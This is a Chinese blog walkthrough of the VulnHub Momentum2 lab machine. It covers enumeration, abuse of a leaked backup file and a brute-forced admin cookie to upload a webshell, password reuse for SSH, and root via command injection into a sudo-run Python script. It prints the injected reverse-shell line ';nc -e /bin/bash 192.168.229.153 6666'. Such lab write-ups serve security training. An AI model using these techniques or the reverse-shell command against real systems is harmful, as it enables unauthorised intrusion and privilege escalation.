vulnhub-Momentum2

vulnhub-Momentum2靶机

首先先去下载靶机地址:
https://download.vulnhub.com/momentum/Momentum2.ova
下载完靶机,直接利用VMave导入打开

一,信息收集

首先确定自己的靶机为net模式,知道自己靶机所在网段

然后利用kali进行IP扫描:

nmap -sP 192.168.229.0/24

在这里插入图片描述
发现存活的IP,除去自己的IP
发现靶机IP:192.168.229.155

如果不能扫描出IP就查看这篇博客:
https://hackergu.com/vulnhub-ip/

然后,收集靶机信息
利用:

nmap -sS -sV -T5 -A -p- 192.168.229.155

在这里插入图片描述

得到靶机开放的端口,22远程ssh连接端口和80端口,和操作系统

因为有80端口,所以直接访问网址:192.168.229.155
得到:

在这里插入图片描述查看网页没有什么有用信息,于是就扫描后台发现存在的网址

(这里也可以利用kali自带的dirbuster,进行扫描):
在这里插入图片描述

发现.bak是备份文件
还有:http://192.168.229.155/dashboard.html
和:http://192.168.229.155/owls/
地址

查看一下发现:

http://192.168.229.155/dashboard.html是一个上传页面:

在这里插入图片描述
得到一个备份文件:

http://192.168.229.155/ajax.php.bak

在这里插入图片描述

还有就是目录地址:

在这里插入图片描述

我们先查看上传文件处是否存在文件上传漏洞:

发现不能上传一句话木马:
在这里插入图片描述
但上传.txt文件却成功了:
在这里插入图片描述

并且在http://192.168.229.155/owls/目录发现自己上传的文件:
在这里插入图片描述

我查看备份文件发现:

在这里插入图片描述

这里给出了上传文件的要求,首先要有cookie值并且为
admin=&G6u@B6uDXMq&Ms加上一位大写字母
其次是要POST一个secure的参数值为:val1d这样就返回1,表示上传

于是这里我们就利用Bp进行抓包修改:

首先添加cookie值,并添加一个要修改的地方:
在这里插入图片描述

在添加一个POST请求值,这里记住用自己的这
-----------------------------40911969173602388051919423628

分开POST请求的值和上传的文件的值:
在这里插入图片描述

然后在进行爆破admin最后的大写字母,这里就用bp自带的大写字母
爆破:

在这里插入图片描述

得到为R时上传成功

查看shell是否在目录:

在这里插入图片描述
发现成功上传,访问shell得到:

在这里插入图片描述

请求一个参数试试:

在这里插入图片描述

成功执行命令,于是直接上蚁剑连接得到:

在这里插入图片描述

查找有用信息得到第一个flag:

在这里插入图片描述

并发现一个密码:

在这里插入图片描述

但不完全myvulnerableapp[Asterisk]中[Asterisk]表示‘ * ’号
于是就猜测账户:athena,密码:myvulnerableapp*

测试一下:
在这里插入图片描述

发现成功登陆,然后查看一下权限一下发现:

在这里插入图片描述

可以无密码运行cookie-gen.py文件
查看一下cookie-gen.py文件:

在这里插入图片描述

发现是一个脚本,运行后会要输入seed的值,这个值会echo到log.txt文件中,并且会执行bash命令,可以直接反弹shell

然后我们就利用nc监听
nc-使用方法就不在缀诉
直接在kali上用:nc -lvvp 6666
监听

在这里插入图片描述

然后在靶机运行cookie-gen.py:
sudo python3 /home/team-tasks/cookie-gen.py
得到:
在这里插入图片描述

在输入监听的机器:
;nc -e /bin/bash 192.168.229.153 6666
在这里插入图片描述

在回到监听的机器,就可以发现提权完成,得到flag:

在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值